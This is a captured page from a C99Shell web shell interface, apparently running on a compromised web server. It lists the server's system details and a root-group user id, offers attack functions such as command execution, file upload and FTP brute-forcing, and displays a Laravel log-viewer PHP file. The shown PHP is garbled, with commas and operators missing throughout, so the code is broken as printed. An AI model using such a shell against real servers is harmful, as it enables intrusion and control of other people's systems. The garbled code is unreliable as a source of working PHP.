!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/arcanedev/log-viewer/src/Entities/   drwxr-xr-x
Free 29.13 GB of 117.98 GB (24.69%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     LogEntryCollection.php (3 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Arcanedev\LogViewer\Entities;

use 
Arcanedev\LogViewer\Helpers\LogParser;
use 
Illuminate\Pagination\LengthAwarePaginator;
use 
Illuminate\Support\LazyCollection;

/**
 * Class     LogEntryCollection
 *
 * @author   ARCANEDEV <arcanedev.maroc@gmail.com>
 */
class LogEntryCollection extends LazyCollection
{
    
/* -----------------------------------------------------------------
     |  Main Methods
     | -----------------------------------------------------------------
     */

    /**
     * Load raw log entries.
     *
     * @param  string  $raw
     *
     * @return self
     */
    
public static function load($raw)
    {
        return new static(function () use (
$raw) {
            foreach (
LogParser::parse($raw) as $entry) {
                list(
$level$header$stack) = array_values($entry);

                yield new 
LogEntry($level$header$stack);
            }
        });
    }

    
/**
     * Paginate log entries.
     *
     * @param  int  $perPage
     *
     * @return \Illuminate\Pagination\LengthAwarePaginator
     */
    
public function paginate($perPage 20)
    {
        
$page request()->get('page'1);
        
$path request()->url();

        return new 
LengthAwarePaginator(
            
$this->forPage($page$perPage),
            
$this->count(),
            
$perPage,
            
$page,
            
compact('path')
        );
    }

    
/**
     * Get filtered log entries by level.
     *
     * @param  string  $level
     *
     * @return self
     */
    
public function filterByLevel($level)
    {
        return 
$this->filter(function(LogEntry $entry) use ($level) {
            return 
$entry->isSameLevel($level);
        });
    }

    
/**
     * Get log entries stats.
     *
     * @return array
     */
    
public function stats()
    {
        
$counters $this->initStats();

        foreach (
$this->groupBy('level') as $level => $entries) {
            
$counters[$level] = $count count($entries);
            
$counters['all'] += $count;
        }

        return 
$counters;
    }

    
/**
     * Get the log entries navigation tree.
     *
     * @param  bool|false  $trans
     *
     * @return array
     */
    
public function tree($trans false)
    {
        
$tree $this->stats();

        
array_walk($tree, function(&$count$level) use ($trans) {
            
$count = [
                
'name'  => $trans log_levels()->get($level) : $level,
                
'count' => $count,
            ];
        });

        return 
$tree;
    }

    
/* -----------------------------------------------------------------
     |  Other Methods
     | -----------------------------------------------------------------
     */

    /**
     * Init stats counters.
     *
     * @return array
     */
    
private function initStats()
    {
        
$levels array_merge_recursive(
            [
'all'],
            
array_keys(log_viewer()->levels(true))
        );

        return 
array_map(function () {
            return 
0;
        }, 
array_flip($levels));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--